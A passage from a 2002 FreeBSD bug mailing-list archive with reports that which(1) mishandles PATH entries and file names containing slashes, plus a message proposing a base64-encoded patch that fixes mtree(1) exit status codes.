$PATH. $ cd /bin $ env PATH=: which date $ echo $? 1 It should print: ./date >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 15:30:34 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id F2B2B37B41D for ; Sat, 9 Mar 2002 15:30:00 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29NU0792166; Sat, 9 Mar 2002 15:30:00 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4A43737B400 for ; Sat, 9 Mar 2002 15:22:48 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29NMmK91079; Sat, 9 Mar 2002 15:22:48 -0800 (PST) (envelope-from nobody) Message-Id: <200203092322.g29NMmK91079@freefall.freebsd.org> Date: Sat, 9 Mar 2002 15:22:48 -0800 (PST) From: wolfram schneider To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: bin/35718: which(1) command does not handle file names with a '/' inside. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35718 >Category: bin >Synopsis: which(1) command does not handle file names with a '/' inside. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 15:30:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: wolfram schneider >Release: >Organization: >Environment: >Description: The new c version of which(1) command does not handle file names with a '/' inside. $ cd /tmp $ env PATH=/usr/bin which ../bin/cat $ echo $? 1 It should returns: ../bin/cat >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 15:31:16 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from nas.dgap.mipt.ru (nas.dgap.mipt.ru [194.85.81.203]) by hub.freebsd.org (Postfix) with ESMTP id 122A537B416; Sat, 9 Mar 2002 15:30:53 -0800 (PST) Received: from localhost (andrew@localhost) by nas.dgap.mipt.ru (8.11.6/8.11.6) with ESMTP id g29NUn813282; Sun, 10 Mar 2002 02:30:50 +0300 (MSK) (envelope-from andr@dgap.mipt.ru) X-Authentication-Warning: nas.dgap.mipt.ru: andrew owned process doing -bs Date: Sun, 10 Mar 2002 02:30:49 +0300 (MSK) From: "Andrew L. Neporada" To: freebsd-bugs@freebsd.org Cc: freebsd-hackers@freebsd.org Subject: [PATCH] exit status of mtree(1) Message-ID: <20020310015221.J11778-200000@nas.dgap.mipt.ru> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-793760758-1015716649=:11778" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-793760758-1015716649=:11778 Content-Type: TEXT/PLAIN; charset=US-ASCII According to man page, mtree should exit with a status of 0 on success (directory matches spec.), 1 if any error occurred and 2 in the case of directory with spec. mismatch. But our mtree(1) is badly broken here (see f.e. bin/28424). Attached patch solves (I hope) this problem. This patch also introduces slightly enhanced exit status reporting: 0 - directory matches spec, success 1 - "hard error" -- spec/dir not found, wrong options, etc. 2 - directory/spec mismatch that was fixed successfully 3 - unfixed directory/spec mismatch Please comment/review. Andrew. --0-793760758-1015716649=:11778 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="mtree.diff" Content-Transfer-Encoding: BASE64 Content-ID: <20020310023049.P11778@nas.dgap.mipt.ru> Content-Description: mtree.diff Content-Disposition: attachment; filename="mtree.diff" SW5kZXg6IGNvbXBhcmUuYw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNT IGZpbGU6IC9ob21lL25jdnMvc3JjL3Vzci5zYmluL210cmVlL2NvbXBhcmUu Yyx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMjANCmRpZmYgLXUgLXIxLjIw IGNvbXBhcmUuYw0KLS0tIGNvbXBhcmUuYwk2IE9jdCAyMDAwIDEyOjQ4OjU1 IC0wMDAwCTEuMjANCisrKyBjb21wYXJlLmMJNyBNYXIgMjAwMiAyMjo1Njoy NSAtMDAwMA0KQEAgLTYyLDYgKzYyLDcgQEANCiANCiBleHRlcm4gaW50IHVm bGFnOw0KIGV4dGVybiBpbnQgbGluZW5vOw0KK2V4dGVybiBpbnQgcnZhbDsN CiANCiBzdGF0aWMgY2hhciAqZnR5cGUgX19QKCh1X2ludCkpOw0KIA0KQEAg LTExNSw2ICsxMTYsNyBAQA0KIHR5cGVlcnI6CQlMQUJFTDsNCiAJCQkodm9p ZClwcmludGYoIlx0dHlwZSBleHBlY3RlZCAlcyBmb3VuZCAlc1xuIiwNCiAJ CQkgICAgZnR5cGUocy0+dHlwZSksIGlub3R5cGUocC0+ZnRzX3N0YXRwLT5z dF9tb2RlKSk7DQorCQkJRkFJTEVEOw0KIAkJCXJldHVybiAobGFiZWwpOw0K IAkJfQ0KIAkJYnJlYWs7DQpAQCAtMTI0LDExICsxMjYsMTMgQEANCiAJCUxB QkVMOw0KIAkJKHZvaWQpcHJpbnRmKCIlc3VzZXIgZXhwZWN0ZWQgJWx1IGZv dW5kICVsdSIsDQogCQkgICAgdGFiLCAodV9sb25nKXMtPnN0X3VpZCwgKHVf bG9uZylwLT5mdHNfc3RhdHAtPnN0X3VpZCk7DQorCQlGSVhFRDsNCiAJCWlm ICh1ZmxhZykNCi0JCQlpZiAoY2hvd24ocC0+ZnRzX2FjY3BhdGgsIHMtPnN0 X3VpZCwgLTEpKQ0KKwkJCWlmIChjaG93bihwLT5mdHNfYWNjcGF0aCwgcy0+ c3RfdWlkLCAtMSkpIHsNCiAJCQkJKHZvaWQpcHJpbnRmKCIgbm90IG1vZGlm aWVkOiAlc1xuIiwNCiAJCQkJICAgIHN0cmVycm9yKGVycm5vKSk7DQotCQkJ ZWxzZQ0KKwkJCQlGQUlMRUQ7DQorCQkJfSBlbHNlDQogCQkJCSh2b2lkKXBy aW50ZigiIG1vZGlmaWVkXG4iKTsNCiAJCWVsc2UNCiAJCQkodm9pZClwcmlu dGYoIlxuIik7DQpAQCAtMTM4LDExICsxNDIsMTMgQEANCiAJCUxBQkVMOw0K IAkJKHZvaWQpcHJpbnRmKCIlc2dpZCBleHBlY3RlZCAlbHUgZm91bmQgJWx1 IiwNCiAJCSAgICB0YWIsICh1X2xvbmcpcy0+c3RfZ2lkLCAodV9sb25nKXAt PmZ0c19zdGF0cC0+c3RfZ2lkKTsNCisJCUZJWEVEOw0KIAkJaWYgKHVmbGFn KQ0KLQkJCWlmIChjaG93bihwLT5mdHNfYWNjcGF0aCwgLTEsIHMtPnN0X2dp ZCkpDQorCQkJaWYgKGNob3duKHAtPmZ0c19hY2NwYXRoLCAtMSwgcy0+c3Rf Z2lkKSkgew0KIAkJCQkodm9pZClwcmludGYoIiBub3QgbW9kaWZpZWQ6ICVz XG4iLA0KIAkJCQkgICAgc3RyZXJyb3IoZXJybm8pKTsNCi0JCQllbHNlDQor CQkJCUZBSUxFRDsNCisJCQl9IGVsc2UNCiAJCQkJKHZvaWQpcHJpbnRmKCIg bW9kaWZpZWRcbiIpOw0KIAkJZWxzZQ0KIAkJCSh2b2lkKXByaW50ZigiXG4i KTsNCkBAIC0xNTQsMTEgKzE2MCwxMyBAQA0KIAkJTEFCRUw7DQogCQkodm9p ZClwcmludGYoIiVzcGVybWlzc2lvbnMgZXhwZWN0ZWQgJSNvIGZvdW5kICUj byIsDQogCQkgICAgdGFiLCBzLT5zdF9tb2RlLCBwLT5mdHNfc3RhdHAtPnN0 X21vZGUgJiBNQklUUyk7DQorCQlGSVhFRDsNCiAJCWlmICh1ZmxhZykNCi0J CQlpZiAoY2htb2QocC0+ZnRzX2FjY3BhdGgsIHMtPnN0X21vZGUpKQ0KKwkJ CWlmIChjaG1vZChwLT5mdHNfYWNjcGF0aCwgcy0+c3RfbW9kZSkpIHsNCiAJ CQkJKHZvaWQpcHJpbnRmKCIgbm90IG1vZGlmaWVkOiAlc1xuIiwNCiAJCQkJ ICAgIHN0cmVycm9yKGVycm5vKSk7DQotCQkJZWxzZQ0KKwkJCQlGQUlMRUQ7 DQorCQkJfSBlbHNlDQogCQkJCSh2b2lkKXByaW50ZigiIG1vZGlmaWVkXG4i KTsNCiAJCWVsc2UNCiAJCQkodm9pZClwcmludGYoIlxuIik7DQpAQCAtMTY5 LDYgKzE3Nyw3IEBADQogCQlMQUJFTDsNCiAJCSh2b2lkKXByaW50ZigiJXNs aW5rX2NvdW50IGV4cGVjdGVkICV1IGZvdW5kICV1XG4iLA0KIAkJICAgIHRh Yiwgcy0+c3RfbmxpbmssIHAtPmZ0c19zdGF0cC0+c3RfbmxpbmspOw0KKwkJ RkFJTEVEOw0KIAkJdGFiID0gIlx0IjsNCiAJfQ0KIAlpZiAocy0+ZmxhZ3Mg JiBGX1NJWkUgJiYgcy0+c3Rfc2l6ZSAhPSBwLT5mdHNfc3RhdHAtPnN0X3Np emUgJiYNCkBAIC0xNzYsNiArMTg1LDcgQEANCiAJCUxBQkVMOw0KIAkJKHZv aWQpcHJpbnRmKCIlc3NpemUgZXhwZWN0ZWQgJXFkIGZvdW5kICVxZFxuIiwN CiAJCSAgICB0YWIsIHMtPnN0X3NpemUsIHAtPmZ0c19zdGF0cC0+c3Rfc2l6 ZSk7DQorCQlGQUlMRUQ7DQogCQl0YWIgPSAiXHQiOw0KIAl9DQogCS8qDQpA QCAtMTkwLDYgKzIwMCw3IEBADQogCQkgICAgdGFiLCBjdGltZSgmcy0+c3Rf bXRpbWVzcGVjLnR2X3NlYykpOw0KIAkJKHZvaWQpcHJpbnRmKCJmb3VuZCAl LjI0c1xuIiwNCiAJCSAgICBjdGltZSgmcC0+ZnRzX3N0YXRwLT5zdF9tdGlt ZXNwZWMudHZfc2VjKSk7DQorCQlGQUlMRUQ7DQogCQl0YWIgPSAiXHQiOw0K IAl9DQogCWlmIChzLT5mbGFncyAmIEZfQ0tTVU0pIHsNCkBAIC0xOTcsMTIg KzIwOCwxNCBAQA0KIAkJCUxBQkVMOw0KIAkJCSh2b2lkKXByaW50ZigiJXNj a3N1bTogJXM6ICVzXG4iLA0KIAkJCSAgICB0YWIsIHAtPmZ0c19hY2NwYXRo LCBzdHJlcnJvcihlcnJubykpOw0KKwkJCUZBSUxFRDsNCiAJCQl0YWIgPSAi XHQiOw0KIAkJfSBlbHNlIGlmIChjcmMoZmQsICZ2YWwsICZsZW4pKSB7DQog CQkJKHZvaWQpY2xvc2UoZmQpOw0KIAkJCUxBQkVMOw0KIAkJCSh2b2lkKXBy aW50ZigiJXNja3N1bTogJXM6ICVzXG4iLA0KIAkJCSAgICB0YWIsIHAtPmZ0 c19hY2NwYXRoLCBzdHJlcnJvcihlcnJubykpOw0KKwkJCUZBSUxFRDsNCiAJ CQl0YWIgPSAiXHQiOw0KIAkJfSBlbHNlIHsNCiAJCQkodm9pZCljbG9zZShm ZCk7DQpAQCAtMjEwLDYgKzIyMyw3IEBADQogCQkJCUxBQkVMOw0KIAkJCQko dm9pZClwcmludGYoIiVzY2tzdW0gZXhwZWN0ZWQgJWx1IGZvdW5kICVsdVxu IiwNCiAJCQkJICAgIHRhYiwgcy0+Y2tzdW0sIHZhbCk7DQorCQkJCUZBSUxF RDsNCiAJCQl9DQogCQkJdGFiID0gIlx0IjsNCiAJCX0NCkBAIC0yMjksMTIg KzI0MywxNCBAQA0KIAkJZmZsYWdzID0gZmxhZ3NfdG9fc3RyaW5nKHAtPmZ0 c19zdGF0cC0+c3RfZmxhZ3MpOw0KIAkJKHZvaWQpcHJpbnRmKCIgZm91bmQg XCIlc1wiIiwgZmZsYWdzKTsNCiAJCWZyZWUoZmZsYWdzKTsNCisJCUZJWEVE Ow0KIA0KIAkJaWYgKHVmbGFnKQ0KLQkJCWlmIChjaGZsYWdzKHAtPmZ0c19h Y2NwYXRoLCBzLT5zdF9mbGFncykpDQorCQkJaWYgKGNoZmxhZ3MocC0+ZnRz X2FjY3BhdGgsIHMtPnN0X2ZsYWdzKSkgew0KIAkJCQkodm9pZClwcmludGYo IiBub3QgbW9kaWZpZWQ6ICVzXG4iLA0KIAkJCQkgICAgc3RyZXJyb3IoZXJy bm8pKTsNCi0JCQllbHNlDQorCQkJCUZBSUxFRDsNCisJCQl9IGVsc2UNCiAJ CQkJKHZvaWQpcHJpbnRmKCIgbW9kaWZpZWRcbiIpOw0KIAkJZWxzZQ0KIAkJ CSh2b2lkKXByaW50ZigiXG4iKTsNCkBAIC0yNDksMTEgKzI2NSwxMyBAQA0K IAkJCUxBQkVMOw0KIAkJCXByaW50ZigiJXNNRDU6ICVzOiAlc1xuIiwgdGFi LCBwLT5mdHNfYWNjcGF0aCwNCiAJCQkgICAgICAgc3RyZXJyb3IoZXJybm8p KTsNCisJCQlGQUlMRUQ7DQogCQkJdGFiID0gIlx0IjsNCiAJCX0gZWxzZSBp ZiAoc3RyY21wKG5ld19kaWdlc3QsIHMtPm1kNWRpZ2VzdCkpIHsNCiAJCQlM QUJFTDsNCiAJCQlwcmludGYoIiVzTUQ1IGV4cGVjdGVkICVzIGZvdW5kICVz XG4iLCB0YWIsIHMtPm1kNWRpZ2VzdCwNCiAJCQkgICAgICAgbmV3X2RpZ2Vz dCk7DQorCQkJRkFJTEVEOw0KIAkJCXRhYiA9ICJcdCI7DQogCQl9DQogCX0N CkBAIC0yNjcsMTEgKzI4NSwxMyBAQA0KIAkJCUxBQkVMOw0KIAkJCXByaW50 ZigiJXNTSEEtMTogJXM6ICVzXG4iLCB0YWIsIHAtPmZ0c19hY2NwYXRoLA0K IAkJCSAgICAgICBzdHJlcnJvcihlcnJubykpOw0KKwkJCUZBSUxFRDsNCiAJ CQl0YWIgPSAiXHQiOw0KIAkJfSBlbHNlIGlmIChzdHJjbXAobmV3X2RpZ2Vz dCwgcy0+c2hhMWRpZ2VzdCkpIHsNCiAJCQlMQUJFTDsNCiAJCQlwcmludGYo IiVzU0hBLTEgZXhwZWN0ZWQgJXMgZm91bmQgJXNcbiIsIA0KIAkJCSAgICAg ICB0YWIsIHMtPnNoYTFkaWdlc3QsIG5ld19kaWdlc3QpOw0KKwkJCUZBSUxF RDsNCiAJCQl0YWIgPSAiXHQiOw0KIAkJfQ0KIAl9DQpAQCAtMjg1LDExICsz MDUsMTMgQEANCiAJCQlMQUJFTDsNCiAJCQlwcmludGYoIiVzUklQRU1EMTYw OiAlczogJXNcbiIsIHRhYiwNCiAJCQkgICAgICAgcC0+ZnRzX2FjY3BhdGgs IHN0cmVycm9yKGVycm5vKSk7DQorCQkJRkFJTEVEOw0KIAkJCXRhYiA9ICJc dCI7DQogCQl9IGVsc2UgaWYgKHN0cmNtcChuZXdfZGlnZXN0LCBzLT5ybWQx NjBkaWdlc3QpKSB7DQogCQkJTEFCRUw7DQogCQkJcHJpbnRmKCIlc1JJUEVN RDE2MCBleHBlY3RlZCAlcyBmb3VuZCAlc1xuIiwNCiAJCQkgICAgICAgdGFi LCBzLT5ybWQxNjBkaWdlc3QsIG5ld19kaWdlc3QpOw0KKwkJCUZBSUxFRDsN CiAJCQl0YWIgPSAiXHQiOw0KIAkJfQ0KIAl9DQpAQCAtMzAwLDYgKzMyMiw3 IEBADQogCQlMQUJFTDsNCiAJCSh2b2lkKXByaW50ZigiJXNsaW5rX3JlZiBl eHBlY3RlZCAlcyBmb3VuZCAlc1xuIiwNCiAJCSAgICAgIHRhYiwgY3AsIHMt PnNsaW5rKTsNCisJCUZBSUxFRDsNCiAJfQ0KIAlyZXR1cm4gKGxhYmVsKTsN CiB9DQpJbmRleDogZXh0ZXJuLmgNCj09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0N ClJDUyBmaWxlOiAvaG9tZS9uY3ZzL3NyYy91c3Iuc2Jpbi9tdHJlZS9leHRl cm4uaCx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNQ0KZGlmZiAtdSAtcjEu NSBleHRlcm4uaA0KLS0tIGV4dGVybi5oCTE3IEp1biAyMDAwIDE0OjE5OjMz IC0wMDAwCTEuNQ0KKysrIGV4dGVybi5oCTcgTWFyIDIwMDIgMjI6NTY6MjUg LTAwMDANCkBAIC00Myw3ICs0Myw3IEBADQogdV9pbnQJIHBhcnNla2V5IF9f UCgoY2hhciAqLCBpbnQgKikpOw0KIGNoYXIJKnJsaW5rIF9fUCgoY2hhciAq KSk7DQogTk9ERQkqc3BlYyBfX1AoKHZvaWQpKTsNCi1pbnQJIHZlcmlmeSBf X1AoKHZvaWQpKTsNCit2b2lkCSB2ZXJpZnkgX19QKCh2b2lkKSk7DQogDQog aW50CSBjaGVja19leGNsdWRlcyBfX1AoKGNvbnN0IGNoYXIgKiwgY29uc3Qg Y2hhciAqKSk7DQogdm9pZAkgaW5pdF9leGNsdWRlcyBfX1AoKHZvaWQpKTsN CkluZGV4OiBtdHJlZS5jDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1Mg ZmlsZTogL2hvbWUvbmN2cy9zcmMvdXNyLnNiaW4vbXRyZWUvbXRyZWUuYyx2 DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMTgNCmRpZmYgLXUgLXIxLjE4IG10 cmVlLmMNCi0tLSBtdHJlZS5jCTI1IFNlcCAyMDAwIDE2OjI0OjIyIC0wMDAw CTEuMTgNCisrKyBtdHJlZS5jCTkgTWFyIDIwMDIgMjE6MDY6NDcgLTAwMDAN CkBAIC01OSw2ICs1OSw3IEBADQogDQogaW50IGZ0c29wdGlvbnMgPSBGVFNf UEhZU0lDQUw7DQogaW50IGNmbGFnLCBkZmxhZywgZWZsYWcsIGlmbGFnLCBu ZmxhZywgcWZsYWcsIHJmbGFnLCBzZmxhZywgdWZsYWcsIFVmbGFnOw0KK2lu dCBydmFsOw0KIHVfaW50IGtleXM7DQogY2hhciBmdWxscGF0aFtNQVhQQVRI TEVOXTsNCiANCkBAIC03MSw3ICs3Miw2IEBADQogew0KIAlpbnQgY2g7DQog CWNoYXIgKmRpciwgKnA7DQotCWludCBzdGF0dXM7DQogDQogCWRpciA9IE5V TEw7DQogCWtleXMgPSBLRVlERUZBVUxUOw0KQEAgLTE2NCwxMCArMTY0LDEw IEBADQogCQljd2FsaygpOw0KIAkJZXhpdCgwKTsNCiAJfQ0KLQlzdGF0dXMg PSB2ZXJpZnkoKTsNCi0JaWYgKFVmbGFnICYgKHN0YXR1cyA9PSBNSVNNQVRD SEVYSVQpKQ0KLQkJc3RhdHVzID0gMDsNCi0JZXhpdChzdGF0dXMpOw0KKwl2 ZXJpZnkoKTsNCisJaWYgKFVmbGFnICYgKHJ2YWwgPT0gTUlTTUFUQ0hGSVhF RCkpDQorCQlydmFsID0gMDsNCisJZXhpdChydmFsKTsNCiB9DQogDQogc3Rh dGljIHZvaWQNCkluZGV4OiBtdHJlZS5oDQo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09DQpSQ1MgZmlsZTogL2hvbWUvbmN2cy9zcmMvdXNyLnNiaW4vbXRyZWUv bXRyZWUuaCx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNQ0KZGlmZiAtdSAt cjEuNSBtdHJlZS5oDQotLS0gbXRyZWUuaAk5IERlYyAxOTk5IDIwOjM4OjM1 IC0wMDAwCTEuNQ0KKysrIG10cmVlLmgJOSBNYXIgMjAwMiAyMDo0NzowOCAt MDAwMA0KQEAgLTQwLDcgKzQwLDEwIEBADQogI2RlZmluZQlLRVlERUZBVUxU IFwNCiAJKEZfR0lEIHwgRl9NT0RFIHwgRl9OTElOSyB8IEZfU0laRSB8IEZf U0xJTksgfCBGX1RJTUUgfCBGX1VJRCB8IEZfRkxBR1MpDQogDQotI2RlZmlu ZQlNSVNNQVRDSEVYSVQJMg0KKyNkZWZpbmUJTUlTTUFUQ0hGSVhFRAkyDQor I2RlZmluZQlGSVhGQUlMRUQJMw0KKyNkZWZpbmUJRklYRUQJaWYgKHJ2YWwg IT0gRklYRkFJTEVEKSBydmFsID0gTUlTTUFUQ0hGSVhFRDsNCisjZGVmaW5l CUZBSUxFRAlydmFsID0gRklYRkFJTEVEOw0KIA0KIHR5cGVkZWYgc3RydWN0 IF9ub2RlIHsNCiAJc3RydWN0IF9ub2RlCSpwYXJlbnQsICpjaGlsZDsJLyog dXAsIGRvd24gKi8NCkluZGV4OiB2ZXJpZnkuYw0KPT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PQ0KUkNTIGZpbGU6IC9ob21lL25jdnMvc3JjL3Vzci5zYmluL210 cmVlL3ZlcmlmeS5jLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS4xNQ0KZGlm ZiAtdSAtcjEuMTUgdmVyaWZ5LmMNCi0tLSB2ZXJpZnkuYwkzIE9jdCAyMDAw IDEzOjEzOjQ3IC0wMDAwCTEuMTUNCisrKyB2ZXJpZnkuYwk5IE1hciAyMDAy IDIwOjM5OjQxIC0wMDAwDQpAQCAtNTYsMzEgKzU2LDI5IEBADQogZXh0ZXJu IGludCBkZmxhZywgZWZsYWcsIHFmbGFnLCByZmxhZywgc2ZsYWcsIHVmbGFn Ow0KIGV4dGVybiBjaGFyIGZ1bGxwYXRoW01BWFBBVEhMRU5dOw0KIGV4dGVy biBpbnQgbGluZW5vOw0KK2V4dGVybiBpbnQgcnZhbDsNCiANCiBzdGF0aWMg Tk9ERSAqcm9vdDsNCiBzdGF0aWMgY2hhciBwYXRoW01BWFBBVEhMRU5dOw0K IA0KIHN0YXRpYyB2b2lkCW1pc3MgX19QKChOT0RFICosIGNoYXIgKikpOw0K LXN0YXRpYyBpbnQJdndhbGsgX19QKCh2b2lkKSk7DQorc3RhdGljIHZvaWQJ dndhbGsgX19QKCh2b2lkKSk7DQogDQotaW50DQordm9pZA0KIHZlcmlmeSgp DQogew0KLQlpbnQgcnZhbDsNCi0NCiAJcm9vdCA9IHNwZWMoKTsNCi0JcnZh bCA9IHZ3YWxrKCk7DQorCXZ3YWxrKCk7DQogCW1pc3Mocm9vdCwgcGF0aCk7 DQotCXJldHVybiAocnZhbCk7DQogfQ0KIA0KLXN0YXRpYyBpbnQNCit2b2lk DQogdndhbGsoKQ0KIHsNCiAJcmVnaXN0ZXIgRlRTICp0Ow0KIAlyZWdpc3Rl ciBGVFNFTlQgKnA7DQogCXJlZ2lzdGVyIE5PREUgKmVwLCAqbGV2ZWw7DQot CWludCBzcGVjZGVwdGgsIHJ2YWw7DQorCWludCBzcGVjZGVwdGg7DQogCWNo YXIgKmFyZ3ZbMl07DQogDQogCWFyZ3ZbMF0gPSAiLiI7DQpAQCAtMTIyLDkg KzEyMCw4IEBADQogCQkJICAgICFmbm1hdGNoKGVwLT5uYW1lLCBwLT5mdHNf bmFtZSwgRk5NX1BBVEhOQU1FKSkgfHwNCiAJCQkgICAgIXN0cmNtcChlcC0+ bmFtZSwgcC0+ZnRzX25hbWUpKSB7DQogCQkJCWVwLT5mbGFncyB8PSBGX1ZJ U0lUOw0KLQkJCQlpZiAoKGVwLT5mbGFncyAmIEZfTk9DSEFOR0UpID09IDAg JiYNCi0JCQkJICAgIGNvbXBhcmUoZXAtPm5hbWUsIGVwLCBwKSkNCi0JCQkJ CXJ2YWwgPSBNSVNNQVRDSEVYSVQ7DQorCQkJCWlmICgoZXAtPmZsYWdzICYg Rl9OT0NIQU5HRSkgPT0gMCkNCisJCQkJCSh2b2lkKWNvbXBhcmUoZXAtPm5h bWUsIGVwLCBwKTsNCiAJCQkJaWYgKGVwLT5mbGFncyAmIEZfSUdOKQ0KIAkJ CQkJKHZvaWQpZnRzX3NldCh0LCBwLCBGVFNfU0tJUCk7DQogCQkJCWVsc2Ug aWYgKGVwLT5jaGlsZCAmJiBlcC0+dHlwZSA9PSBGX0RJUiAmJg0KQEAgLTEz OSwxNSArMTM2LDE4IEBADQogCQkJY29udGludWU7DQogZXh0cmE6DQogCQlp ZiAoIWVmbGFnKSB7DQorCQkJRklYRUQ7DQogCQkJKHZvaWQpcHJpbnRmKCIl cyBleHRyYSIsIFJQKHApKTsNCiAJCQlpZiAocmZsYWcpIHsNCiAJCQkJaWYg KChTX0lTRElSKHAtPmZ0c19zdGF0cC0+c3RfbW9kZSkNCiAJCQkJICAgID8g cm1kaXIgOiB1bmxpbmspKHAtPmZ0c19hY2NwYXRoKSkgew0KIAkJCQkJKHZv aWQpcHJpbnRmKCIsIG5vdCByZW1vdmVkOiAlcyIsDQogCQkJCQkgICAgc3Ry ZXJyb3IoZXJybm8pKTsNCisJCQkJCUZBSUxFRDsNCiAJCQkJfSBlbHNlDQog CQkJCQkodm9pZClwcmludGYoIiwgcmVtb3ZlZCIpOw0KLQkJCX0NCisJCQl9 IGVsc2UNCisJCQkJRkFJTEVEOw0KIAkJCSh2b2lkKXB1dGNoYXIoJ1xuJyk7 DQogCQl9DQogCQkodm9pZClmdHNfc2V0KHQsIHAsIEZUU19TS0lQKTsNCkBA IC0xNTUsNyArMTU1LDYgQEANCiAJKHZvaWQpZnRzX2Nsb3NlKHQpOw0KIAlp ZiAoc2ZsYWcpDQogCQl3YXJueCgiJXMgY2hlY2tzdW06ICVsdSIsIGZ1bGxw YXRoLCBjcmNfdG90YWwpOw0KLQlyZXR1cm4gKHJ2YWwpOw0KIH0NCiANCiBz dGF0aWMgdm9pZA0KQEAgLTE3OCw4ICsxNzcsMTAgQEANCiAgDQogCQkJaWYg KHFmbGFnICYmIHN0YXQocGF0aCwgJnN0YXRidWYpID09IDApDQogCQkJCXAt PmZsYWdzIHw9IEZfVklTSVQ7DQotCQkJZWxzZQ0KKwkJCWVsc2Ugew0KIAkJ CQkodm9pZClwcmludGYoIiVzIG1pc3NpbmciLCBwYXRoKTsNCisJCQkJRklY RUQ7DQorCQkJfQ0KIAkJfQ0KIAkJaWYgKHAtPnR5cGUgIT0gRl9ESVIgJiYg cC0+dHlwZSAhPSBGX0xJTkspIHsNCiAJCQlwdXRjaGFyKCdcbicpOw0KQEAg LTE5NywxNCArMTk4LDE3IEBADQogCQkJZWxzZSBpZiAoIShwLT5mbGFncyAm IChGX0dJRCB8IEZfR05BTUUpKSkNCiAJCQkJKHZvaWQpcHJpbnRmKCIgKCVz IG5vdCBjcmVhdGVkOiBncm91cCBub3Qgc3BlY2lmaWVkKSIsIHR5cGUpOw0K IAkJCWVsc2UgaWYgKHAtPnR5cGUgPT0gRl9MSU5LKSB7DQotCQkJCWlmIChz eW1saW5rKHAtPnNsaW5rLCBwYXRoKSkNCisJCQkJaWYgKHN5bWxpbmsocC0+ c2xpbmssIHBhdGgpKSB7DQogCQkJCQkodm9pZClwcmludGYoIiAoc3ltbGlu ayBub3QgY3JlYXRlZDogJXMpXG4iLA0KIAkJCQkJICAgIHN0cmVycm9yKGVy cm5vKSk7DQotCQkJCWVsc2UNCisJCQkJCUZBSUxFRDsNCisJCQkJfSBlbHNl DQogCQkJCQkodm9pZClwcmludGYoIiAoY3JlYXRlZClcbiIpOw0KLQkJCQlp ZiAobGNob3duKHBhdGgsIHAtPnN0X3VpZCwgcC0+c3RfZ2lkKSkNCisJCQkJ aWYgKGxjaG93bihwYXRoLCBwLT5zdF91aWQsIHAtPnN0X2dpZCkpIHsNCiAJ CQkJCSh2b2lkKXByaW50ZigiJXM6IHVzZXIvZ3JvdXAgbm90IG1vZGlmaWVk OiAlc1xuIiwNCiAJCQkJCSAgICBwYXRoLCBzdHJlcnJvcihlcnJubykpOw0K KwkJCQkJRkFJTEVEOw0KKwkJCQl9DQogCQkJCWNvbnRpbnVlOw0KIAkJCX0g ZWxzZSBpZiAoIShwLT5mbGFncyAmIEZfTU9ERSkpDQogCQkJICAgICh2b2lk KXByaW50ZigiIChkaXJlY3Rvcnkgbm90IGNyZWF0ZWQ6IG1vZGUgbm90IHNw ZWNpZmllZCkiKTsNCkBAIC0yMTUsNiArMjE5LDggQEANCiAJCQkJY3JlYXRl ID0gMTsNCiAJCQkJKHZvaWQpcHJpbnRmKCIgKGNyZWF0ZWQpIik7DQogCQkJ fQ0KKwkJCWlmICghY3JlYXRlKQ0KKwkJCQlGQUlMRUQ7DQogCQl9DQogCQlp ZiAoIShwLT5mbGFncyAmIEZfVklTSVQpKQ0KIAkJCSh2b2lkKXB1dGNoYXIo J1xuJyk7DQpAQCAtMjMxLDE0ICsyMzcsMTkgQEANCiAJCQkgICAgcGF0aCwg c3RyZXJyb3IoZXJybm8pKTsNCiAJCQkodm9pZClwcmludGYoIiVzOiB3YXJu aW5nOiBmaWxlIG1vZGUgJXNub3Qgc2V0XG4iLCBwYXRoLA0KIAkJCSAgICAo 